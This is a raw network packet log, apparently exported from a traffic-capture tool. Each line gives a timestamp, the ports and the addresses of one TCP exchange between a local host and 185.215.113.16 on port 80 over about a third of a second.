Oct 29, 2024 20:44:56.833678007 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833695889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833698988 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.833712101 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833728075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833728075 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.833744049 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833760023 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833770037 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.833792925 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.834597111 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834614992 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834629059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834646940 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834657907 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.834661961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834677935 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834686995 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.834692001 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834708929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834721088 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.834723949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834738970 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.834745884 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.834772110 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.836005926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836024046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836039066 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836055040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836062908 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.836069107 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836085081 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836101055 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.836101055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836117983 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836132050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836138964 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.836147070 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836157084 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.836163998 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836179018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.836185932 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.836231947 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.869954109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.869996071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.870012045 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.870066881 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.986882925 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.987668037 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.992321014 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.992352962 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.992371082 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.992389917 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.992418051 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.993035078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993100882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993117094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993156910 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.993244886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993261099 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993283033 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993295908 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.993299961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993319988 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.993633986 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993657112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993673086 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993688107 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993709087 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993710041 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.993721008 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.993725061 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993741035 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993745089 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.993755102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993771076 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.993784904 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.993803978 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.994529963 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.994546890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.994563103 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.994577885 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.994594097 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.994601965 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.994609118 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.994623899 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.994626045 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.994642973 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.994648933 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.994679928 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.994925976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995071888 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995088100 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995102882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995119095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995126009 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.995134115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995146036 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.995151043 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995167017 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995172024 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.995182037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995198011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995212078 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.995213985 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.995227098 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.996057987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996073961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996089935 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996100903 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.996105909 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996120930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996145010 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996150017 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.996161938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996177912 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.996179104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996193886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996202946 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.996211052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996226072 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996248007 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.996279001 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.996881008 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996897936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996913910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996929884 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996943951 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996956110 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.996959925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996975899 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.996988058 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.996994972 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997005939 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.997009993 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997025013 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997031927 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.997040987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997067928 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.997795105 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997812986 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997827053 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997843027 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997843027 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.997859001 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997869015 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.997874022 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997889996 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997891903 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.997905016 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997920036 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997936964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997951984 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.997953892 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997968912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.997972965 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.997984886 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.998662949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998680115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998694897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998709917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998709917 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.998724937 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998732090 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.998742104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998756886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998769045 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.998773098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998786926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998802900 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998811960 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.998816967 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.998836040 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.998858929 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.014487028 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.015486956 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.018301964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.018322945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.018382072 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.018419027 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.026397943 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.030219078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.030239105 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.030253887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.030291080 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.030294895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.030318975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.030333996 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.030498028 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.061403990 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.061454058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.061508894 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.061530113 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.061546087 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.061774969 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.061834097 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.061902046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.061918020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.061960936 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.062032938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.062048912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.062077045 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.063221931 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063294888 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.063334942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063350916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063389063 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.063494921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063508034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063549042 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.063560963 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063575983 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063615084 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.063697100 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063711882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063728094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063743114 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063746929 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.063950062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063963890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.063990116 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.064016104 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.064095974 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064167023 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064182043 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064208031 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.064380884 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064395905 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064410925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064419985 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.064426899 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064455986 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.064620018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064677000 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.064704895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064718962 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064733982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064749002 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064755917 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.064765930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064784050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.064799070 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.064822912 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.065114975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065130949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065172911 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.065253019 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065267086 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065279961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065294981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065303087 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.065316916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065331936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065344095 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.065345049 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065361977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065368891 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.065376997 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065392017 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.065412998 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.065435886 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.066155910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066171885 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066185951 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066215038 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.066235065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066250086 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066266060 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066271067 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.066282034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066297054 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066298008 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.066312075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066325903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066349030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.066353083 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.066375971 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.066983938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067001104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067048073 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.067126989 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067143917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067157984 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067172050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067178011 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.067188025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067200899 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067215919 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067215919 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.067231894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067240953 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.067245960 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067253113 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.067261934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067276955 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067281961 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.067292929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067307949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.067348003 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.067348003 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.068046093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068063974 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068078041 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068095922 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068110943 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068123102 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.068126917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068144083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068150043 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.068159103 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068169117 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.068175077 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068190098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068195105 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.068205118 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068221092 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068233967 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.068259001 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.068830967 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068849087 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.068905115 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.104669094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.104691029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.104707003 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.104753971 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.135162115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.135186911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.135204077 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.135263920 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.135322094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.147618055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.147659063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.147675037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.147716045 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.147780895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.147797108 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.147834063 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.178456068 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.178483009 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.178499937 CET	80	62422	185.215.113.16	192.168.2.6
